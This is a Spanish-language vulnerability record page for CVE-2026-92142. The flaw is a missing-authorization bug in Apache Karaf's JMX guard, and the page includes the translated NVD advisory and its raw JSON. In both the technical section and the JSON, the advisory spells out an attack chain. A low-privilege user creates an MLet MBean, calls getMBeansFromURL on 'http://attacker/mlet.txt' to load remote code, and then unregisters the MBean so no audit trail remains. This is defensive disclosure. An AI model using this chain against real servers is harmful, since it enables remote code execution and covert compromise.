CVE-2026-92142

Alta (8.8)—
Planificar el parcheGravedad Alta 8.8. Sin exploit público ni explotación activa conocidos.
Gravedad8.8Alta · CVSS 3.1
Probabilidad de explotación0.60 %mayor que el 50 % de las CVE · dato del 24 nov 2026
Explotación activaNono figura en el catálogo de CISA · comprobado 25 nov, 10:00
Exploit públicoNo conocidosin código público localizado

Apache Karaf expone un MBeanServer JMX protegido por KarafMBeanServerGuard, que aplica control de acceso basado en roles (RBAC) a las operaciones de MBean invocadas a través del conector JMX remoto (registro/servidor RMI, habilitado de forma predeterminada en los puertos 1099 y 44444). El guard está implementado como un java.lang.reflect.Proxy alrededor del MBeanServer, y solo reenvía a la comprobación RBAC una lista fija de nombres de operaciones, definida en MBeanInvocationHandler#guarded:

Las operaciones de ciclo de vida de MBean MBeanServer#createMBean, #registerMBean y #unregisterMBean no están en esta lista.

Leer descripción completaMostrar menos

Las llamadas a estos métodos se reenvían directamente al MBeanServer subyacente sin ninguna comprobación de roles, independientemente de los roles configurados en etc/jmx.acl.*.cfg.

Como resultado, cualquier usuario que pueda autenticarse en el endpoint JMX, incluido un usuario que solo tenga el rol "viewer" de menor privilegio, puede llamar a createMBean() para instanciar una clase arbitraria como MBean, y a unregisterMBean() para eliminarla de nuevo después, sin ninguna comprobación de autorización ni entrada en el registro de auditoría (el registro en KarafMBeanServerGuard solo se produce en la ruta de denegación RBAC, a la que esta omisión nunca llega).

Esto es significativo porque javax.management.loading.MLet, un MBean estándar del JDK, puede instanciarse de este modo. MLet actúa como cargador de clases remoto: su operación getMBeansFromURL(URL) obtiene un archivo de texto MLet desde una URL controlada por el atacante e instancia y registra las clases que enumera como nuevos MBeans en la JVM objetivo. Para llegar a esta operación sigue siendo necesario pasar por la comprobación "invoke" existente de KarafMBeanServerGuard, pero el etc/jmx.acl.cfg predeterminado concede el rol "viewer" a cualquier nombre de método que coincida con la regla de comodín "get* = viewer", una heurística pensada para getters de solo lectura. Como "getMBeansFromURL" empieza casualmente por "get", también coincide con esa regla, por lo que una instalación predeterminada concede a los invocadores "viewer" permiso para invocarla sin que ninguna ACL específica de Karaf mencione MLet. Combinado con la brecha de createMBean, esto ofrece a un cliente JMX con rol "viewer" una vía de ejecución remota de código en la JVM de Karaf:

La corrección añade createMBean, registerMBean y unregisterMBean a la lista de operaciones protegidas, resuelve los roles necesarios para ellas a partir de la configuración jmx.acl* por ObjectName y (para createMBean/registerMBean) por nombre de clase del MBean, e incluye entradas predeterminadas en etc/jmx.acl.cfg que restringen las tres operaciones al rol "admin". Esto permite a las implementaciones escribir también reglas específicas por nombre de clase, p. ej.:

createMBean(java.lang.String)[/javax\.management\.loading\..*/] = admin

Los usuarios de Apache Karaf deben actualizar a la 4.4.12 o a la 4.5.0 o posterior, una vez publicadas, lo antes posible. Hasta que haya una actualización disponible, restrinja el acceso de red a los puertos del registro/servidor RMI de JMX (1099/44444) a hosts de confianza, o evite emitir credenciales JMX que no sean de "admin".

Detalles técnicos trazas, registros y código del informe original
  private final List<String> guarded = Collections.unmodifiableList( Arrays.asList("invoke", "getAttribute", "getAttributes", "setAttribute", "setAttributes"));

  *  Autenticarse en JMX como cualquier usuario con cualquier rol (p. ej., "viewer").
  *  mbs.createMBean("javax.management.loading.MLet", objectName) no está en GUARDED_OPERATIONS, no hay comprobación RBAC, MLet se instancia y se registra.
  *  mbs.invoke(objectName, "getMBeansFromURL", new Object[]{"http://attacker/mlet.txt"}, ...) está protegido, pero el nombre del método coincide con la regla ACL predeterminada "get* = viewer", por lo que se permite.
  *  Se obtiene el archivo .mlet remoto y las clases que enumera se cargan y registran como nuevos MBeans, ejecutando código proporcionado por el atacante en la JVM de Karaf.
  *  mbs.unregisterMBean(objectName) puede usarse para eliminar el MLet después; tampoco está en GUARDED_OPERATIONS, no hay comprobación RBAC ni rastro de auditoría.

Traducción automática del texto original de NVD (en inglés).

Cronología

Elaborada con nuestros propios datos: NVD, CISA KEV y otros catálogos de explotación, FIRST EPSS, exploits públicos, prensa especializada y la cobertura de Orbitaley.

  1. Registro CVE publicado en NVD
  2. Última modificación del registro en NVD

Técnicas ATT&CK

Cómo se explota esta vulnerabilidad y qué consigue el atacante, en el lenguaje de MITRE ATT&CK.

Acceso autenticado a JMX remoto (PR:L, AV:N) permite crear MLet sin RBAC, invocar getMBeansFromURL con wildcard 'get*' y ejecutar código arbitrario. CWE-862 (Autorización ausente) en operaciones createMBean/unregisterMBean sin verificación de roles.

Inferido por nuestro agente de análisis a partir de la descripción oficial, el vector CVSS y la CWE, y comprobado por un supervisor. Puede contener errores.

Mitigaciones ATT&CK que cubren estas técnicas

Tecnologías afectadas (1)

Registro NVD

Estado en NVD
Analizada
Publicada
29 sept 2026
Última modificación
7 oct 2026
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Debilidad (CWE)
CWE-862

Referencias

JSON original (NVD)

Mostrar
{
  "id": "CVE-2026-92142",
  "cveTags": [],
  "metrics": {
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-92142",
          "role": "CISA Coordinator",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "version": "2.0.3",
          "timestamp": "2026-10-01T14:23:22.077130Z"
        }
      }
    ],
    "cvssMetricV31": [
      {
        "type": "Secondary",
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "cvssData": {
          "scope": "UNCHANGED",
          "version": "3.1",
          "baseScore": 8.8,
          "attackVector": "NETWORK",
          "baseSeverity": "HIGH",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
          "integrityImpact": "HIGH",
          "userInteraction": "NONE",
          "attackComplexity": "LOW",
          "availabilityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "confidentialityImpact": "HIGH"
        },
        "impactScore": 5.9,
        "exploitabilityScore": 2.8
      }
    ]
  },
  "affected": [
    {
      "source": "security@apache.org",
      "affectedData": [
        {
          "vendor": "Apache Software Foundation",
          "product": "Apache Karaf",
          "versions": [
            {
              "status": "affected",
              "version": "0",
              "lessThan": "4.4.12",
              "versionType": "semver"
            }
          ],
          "defaultStatus": "unaffected"
        }
      ]
    }
  ],
  "published": "2026-09-29T09:17:10.497",
  "references": [
    {
      "url": "https://karaf.apache.org/security/cve-2026-92142.txt",
      "tags": [
        "Vendor Advisory",
        "Mailing List"
      ],
      "source": "security@apache.org"
    },
    {
      "url": "http://www.openwall.com/lists/oss-security/2026/09/28/11",
      "tags": [
        "Mailing List",
        "Third Party Advisory"
      ],
      "source": "af854a3a-2127-422b-91ae-364da2661108"
    }
  ],
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "type": "Secondary",
      "source": "security@apache.org",
      "description": [
        {
          "lang": "en",
          "value": "CWE-862"
        }
      ]
    }
  ],
  "descriptions": [
    {
      "lang": "en",
      "value": "Apache Karaf exposes a JMX MBeanServer guarded by KarafMBeanServerGuard, which enforces role-based access control (RBAC) on MBean operations invoked over the remote JMX connector (RMI registry/server, enabled by default on ports 1099 and 44444). The guard is implemented as a java.lang.reflect.Proxy around the MBeanServer, and only forwards a fixed list of operation names to the RBAC check, defined in MBeanInvocationHandler#guarded:\n\n\n  private final List<String> guarded = Collections.unmodifiableList( Arrays.asList(\"invoke\", \"getAttribute\", \"getAttributes\", \"setAttribute\", \"setAttributes\"));\n\n\n\n\nThe MBean lifecycle operations MBeanServer#createMBean, #registerMBean and #unregisterMBean are not in this list. Calls to these methods are forwarded directly to the underlying MBeanServer with no role check at all, regardless of the roles configured in etc/jmx.acl.*.cfg.\n\n\n\n\nAs a result, any user who can authenticate to the JMX endpoint, including a user holding only the least-privileged \"viewer\" role, can call createMBean() to instantiate an arbitrary class as a MBean, and unregisterMBean() to remove it again afterwards, with no authorization check and no audit log entry (logging in KarafMBeanServerGuard only occurs on the RBAC-denial path, which this bypass never reaches).\n\n\n\n\nThis is significant because javax.management.loading.MLet, a standard JDK MBean, can be instantiated this way. MLet acts as a remote classloader: its getMBeansFromURL(URL) operation fetches an MLet text file from an attacker-controlled URL and instantiates and registers the classes it lists as new MBeans in the target JVM. Reaching this operation still goes through KarafMBeanServerGuard's existing \"invoke\" check, but the default etc/jmx.acl.cfg grants the \"viewer\" role to any method name matching the wildcard rule \"get* = viewer\", a heuristic intended for read-only getters. Because \"getMBeansFromURL\" happens to start with \"get\", it also matches that rule, so a default installation grants \"viewer\" callers permission to invoke it without any Karaf-specific ACL naming MLet at all. Combined with the createMBean gap, this gives a \"viewer\"-role JMX client a path to remote code execution to the Karaf JVM:\n\n  *  Authenticate to JMX as any user with any role (e.g. \"viewer\").\n  *  mbs.createMBean(\"javax.management.loading.MLet\", objectName) is not in GUARDED_OPERATIONS, no RBAC check, MLet is instantiated and registered.\n  *  mbs.invoke(objectName, \"getMBeansFromURL\", new Object[]{\"http://attacker/mlet.txt\"}, ...) is guarded, but the method name matches the default \"get* = viewer\" ACL rule, so permitted.\n  *  The remote .mlet file is fetched and its listed classes are loaded and registered as new MBeans, running attacker-supplied code in the Karaf JVM.\n  *  mbs.unregisterMBean(objectName) can be used to remove the MLet afterwards, also not in GUARDED_OPERATIONS, no RBAC check, no audit trail.\n\n\nThe fix adds createMBean, registerMBean and unregisterMBean to the guarded operation list, resolves required roles for them from the jmx.acl* configuration by ObjectName and (for createMBean/registerMBean) MBean class name, and ships default etc/jmx.acl.cfg entries restricting all three operations to the \"admin\" role. This allows deployments to also write class-name-specific rule, e.g.:\n\n\n\n\ncreateMBean(java.lang.String)[/javax\\.management\\.loading\\..*/] = admin\n\n\n\n\nApache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, as soon as possible. Until an upgrade is available, restrict network access to the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid issuing any non-\"admin\" JMX credentiels."
    }
  ],
  "lastModified": "2026-10-07T20:07:16.547",
  "configurations": [
    {
      "nodes": [
        {
          "negate": false,
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:apache:karaf:*:*:*:*:*:*:*:*",
              "vulnerable": true,
              "matchCriteriaId": "532915B7-A52C-450A-A6BF-0FAE4B4144CD",
              "versionEndExcluding": "4.4.12"
            }
          ],
          "operator": "OR"
        }
      ]
    }
  ],
  "sourceIdentifier": "security@apache.org"
}